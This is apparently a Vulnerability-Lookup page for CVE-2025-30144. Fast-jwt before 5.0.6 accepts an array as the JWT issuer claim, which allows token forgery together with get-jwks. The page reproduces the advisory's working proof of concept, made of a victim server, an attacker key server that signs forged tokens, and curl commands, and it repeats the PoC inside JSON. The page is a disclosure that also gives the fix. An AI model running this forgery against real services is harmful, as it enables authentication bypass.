Vulnerability-Lookup

CVE-2025-30144 (GCVE-0-2025-30144)

Vulnerability from cvelistv5 – Published: 2025-03-19 15:41 – Updated: 2025-03-19 18:29

Title

Fast-JWT Improperly Validates iss Claims

Summary

fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-03-19 18:29 UTC

CWE

CWE-345 - Insufficient Verification of Data Authenticity
CWE-290 - Authentication Bypass by Spoofing

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8075 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/nearform/fast-jwt/security/adv…	x_refsource_CONFIRM
https://github.com/nearform/fast-jwt/commit/cc26b…	x_refsource_MISC
https://datatracker.ietf.org/doc/html/rfc7519#page-9	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
nearform	fast-jwt	Affected: < 5.0.6	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2025-30144

Vulnerability from fkie_nvd - Published: 2025-03-19 16:15 - Updated: 2026-06-17 09:08

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://datatracker.ietf.org/doc/html/rfc7519#page-9
	security-advisories@github.com	https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd
	security-advisories@github.com	https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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    },
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      "lang": "es",
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      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-GM45-Q3V2-6CF8

Vulnerability from github – Published: 2025-03-19 15:48 – Updated: 2025-03-20 18:58

Summary

Fast-JWT Improperly Validates iss Claims

Details

Summary

The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.

Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.

PoC

Take a server running the following code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

Impact

Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.

Solution

Change https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-jwt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-19T15:48:43Z",
    "nvd_published_at": "2025-03-19T16:15:33Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `[\u0027https://attacker-domain/\u0027, \u0027https://valid-iss\u0027]`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require(\u0027express\u0027)\nconst buildJwks = require(\u0027get-jwks\u0027)\nconst { createVerifier } = require(\u0027fast-jwt\u0027)\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =\u003e\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: \u0027https://valid-iss\u0027,\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(\u0027 \u0027)\n  let token = \u0027\u0027;\n  if (headerAuth.length \u003e 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get(\u0027/auth\u0027, verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require(\u0027crypto\u0027);\nconst express = require(\u0027express\u0027);\nconst pem2jwk = require(\u0027pem2jwk\u0027);\nconst jwt = require(\u0027jsonwebtoken\u0027);\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n        privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post(\u0027/create-token\u0027, (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: [host, \u0027https://valid-iss\u0027],  }, privateKey, { algorithm: \u0027RS256\u0027 });\n  res.send(token);\n});\n\napp.get(\u0027/.well-known/jwks.json\u0027, (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: \u0027RS256\u0027,\n            use: \u0027sig\u0027,\n        }]\n    });\n})\n\napp.all(\u0027*\u0027, (req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + \u0027.well-known/jwks.json\u0027\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d \u0027{\"name\": \"test\"}\u0027)\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.",
  "id": "GHSA-gm45-q3v2-6cf8",
  "modified": "2025-03-20T18:58:42Z",
  "published": "2025-03-19T15:48:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7519#page-9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fast-JWT Improperly Validates iss Claims"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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CVE-2025-30144 (GCVE-0-2025-30144)

FKIE_CVE-2025-30144

GHSA-GM45-Q3V2-6CF8

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